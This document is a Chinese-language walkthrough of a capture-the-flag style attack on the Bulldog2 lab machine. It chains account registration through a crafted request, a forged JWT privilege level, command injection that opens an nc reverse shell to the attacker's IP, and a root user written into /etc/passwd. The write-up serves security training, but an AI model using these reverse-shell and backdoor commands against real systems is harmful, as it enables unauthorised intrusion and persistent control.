Vulnlab_Bulldog2靶机渗透实战笔记
本文最后更新于 2024-06-29,文章内容可能已经过时。
Bulldog2靶机渗透实战笔记
实验环境:
kali(vmware) ip:192.168.91.129(NAT) ip:192.168.228.4(仅主机)
Bulldog靶机(virtualbox) ip:192.168.228.11
kali配置了两张网卡,其中一张仅主机的网卡和靶机vitualbox相连。
靶机下载地址: https://www.vulnhub.com/entry/bulldog-2,246/
Virtulbox启动靶机:
启动界面上写出了目标:获取root权限,读取/root目录下的flag文件。
测试连通性
主机发现
虽然和bulldog—1那台一样,开机就显示了ip地址,但是实际情况一般不会直接给出ip地址,这里还是照例进行ip扫描。
扫描ip网段
发现目标主机ip地址192.168.228.11
信息搜集
nmap进行扫描
快速扫描基本信息
nmap -O -p 1-65535 192.168.228.11
主机开启了80端口
扫描开放端口的详情
nmap -sV -T4 -p 80 192.168.228.11
nginx 1.14.0 (Ubuntu),查看有没有可以利用的漏洞信息。
无果,浏览器进行访问
又是小修狗,没有之前那个萌。运用插件查看网页基本架构信息
访问下页面中的其他信息。
点击首页User跳转到新页面,没有可利用信息。
点击首页Login跳转到登录页面,不知道用户名密码,等会再看。
点击首页的Singn Up跳转到注册页面,没有注册信息开放,无用。
子域名扫描
- 使用dirb进行子域名扫描:
dirb http://192.168.228.11/ /usr/share/dirb/wordlists/big.txt
---- Scanning URL: http://192.168.228.11/ ----
+ http://192.168.228.11/assets (CODE:301|SIZE:179)
+ http://192.168.228.11/favicon.ico (CODE:200|SIZE:5430)
+ http://192.168.228.11/secci� (CODE:400|SIZE:2138)
访问一下,发现出错。
- 使用WebCopilot进行子域名扫描和漏洞扫描:
webcopilot -d http://192.168.228.11/
没有发现什么有用的信息。
尝试下其他的突破口,点击Register注册,跳转到注册页面查看源代码在
main.8b490782e52b9899e2a7.bundle.js
这个文件中找到了控制登录和注册逻辑的代码
根据js上的定义,我们可以使用 post提交新账户信息来完成注册,但是注意这里有2点要求:
- Content-Type 必须要是:application/json
- post 数据包内容处,必须要严格按照js代码里的规范
漏洞利用
既然注册页面上不可以注册,可以尝试在登录界面使用Burp进行抓包修改为注册页面后放行,看看能否进行注册。
构造注册请求(要严格按照json的语句格式):
在抓到的登录页面中将login修改为register,根据字段修改注册信息填写用户名和密码(用户名admin123,密码Mudi123)进行放行,发现返回true,应该是注册成功,在登录界面进行尝试登录。
登录成功,发现是普通用户。可以提权,将该用户提权为管理员账户。
提权
前置的一些知识
水平越权
漏洞危害:
水平越权 是相同级别(权限)的用户或者同一角色中不同的用户之间,可以越权访问、修改或者删除其他用户信息的非法操作。如果出现此漏洞,可能会造成大批量数据的泄露,严重的甚至会造成用户信息被恶意篡改。
解决建议:
完善权限验证措施,自己的身份只能查看、修改、删除、添加自己的信息
垂直越权(高危)
漏洞危害:
垂直越权 是不同级别之间或不同角色之间的越权,垂直越权还可以分为向上越权和向下越权。向上越权指的是一个低级别用户尝试访问高级别用户的资源,比如说某个系统分为普通用户和管理员用户,管理员有系统管理功能,而普通用户没有,那我们就可以理解成管理功能具备垂直权限划分,如果普通用户能利用某种攻击手段访问到管理功能,那我们就称之为向上越权。向下越权是一个高级别用户访问低级别用户信息,读取到低级用户的个人信息。
解决建议:
完善权限验证措施,自己的身份只能查看、修改、删除、添加自己的信息。
尝试水平越权
测试水平和垂直越权,根据上面的步骤,再次注册一个账户为越权实验做准备
(用户名:hacker123,密码:Mudi123)
登录hacker用户
直接在页面url修改为mudi的用户信息,看看存不存在水平越权。
登录成功。发现存在水平越权漏洞。
尝试垂直越权
返回重新登录hacker用户,抓包,观察响应
点击Forward,可以看到抓取的返回响应包
返回的这个是JWT的数据格式,尝试使用JWT解密,看看里面到底有什么
解密网站https://jwt.io/
解密后看到了控制貌似是控制用户登录权限的等级的变量
"auth_level": "standard_user"
,这里显示的是意思是标准用户,应该可以修改这个字段的信息进行垂直越权。使用这个参数去刚刚保存的几个js文件里查看,发现只有main开头的js文件中包含auth_level这个关键词,发现相关的关键词 master_admin_user
可能是高权限用户
再次返回登录页面,右键捕获响应的包,进行抓包并修改auth_level为master_admin_user字段
放包,查看结果,发现登录的账户变成了管理员权限,说明存在垂直越权漏洞。
点击admin进入管理员页面,填写存在的用户名和密码(密码随便输),然后抓包,将密码改成反弹shell。
#构造反弹shell,此处的ip地址为kali的ip
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.228.4 8888>/tmp/f;
Getshell
kali开启nc监听:
nc -nvlp 8888
burpsuit放行刚刚修改过的数据包,成功拿到shell。
将shell转化为交互式的
#将简单的Shell转换成为完全交互式的TTY
python -c 'import pty;pty.spawn("/bin/bash")'
提权成功,查看文件
切换到etc目录查看passwd文件,发现文件可读可写。
添加一个root权限的用户到passwd文件中。
#使用perl对密码进行盐加密,盐值为bg
perl -le 'print crypt("pass","bg")'
#写入passwd文件此处的 0:0 切记不可修改
echo 'mudi:bgrjXmOiUQC1E:0:0:mudi:/root:/bin/bash' >> passwd
再次查看passwd文件,用户已经被加上去了。(用户名mudi,密码:pass)
输入su mudi进行登录输入密码发现是root用户了。成功拿到root权限,至此提权成功。
读取/root目录下的flag文件
恭喜您完成了此 VM :D那还不错,不是吗? 让我知道你在推特上的想法,我很@frichette_n 我已经在开发另一个更具挑战性的 VM。关注我以获取更新。
总结
在渗透过程中,我们要根据实际情况总结经验,时刻关注有用的信息,不管是靶机还是现实中的实际项目,我们都要关注js文件的安全问题。
关于渗透的思路:
在发现页面有注册的却又不能注册的时候,我们首先应该考虑从js文件入手,通过抓包的方式,新建用户查看有没有越权漏洞。在通过burp抓包注册的过程中要严格按照js文件的字段格式要求来才能注册成功。
通过越权漏洞,我们可以使普通用户的权限提升为到管理员权限,一般越权漏洞又分为水平和垂直越权。
在此次打靶过程中,发现抓取返回相应包的token为jwt文件格式的时候,需要进行jwt解密才能看到一些关键信息。
最后,通过垂直越权漏洞,将普通用户提权到管理员权限,返回登录页面再次进行抓包,在登录时候修改密码信息为反弹shell,kali开启nc监听,burp放包即可完成getshell,后面的就是进行提权操作留后门清理痕迹等操作。
- 感谢你赐予我前进的力量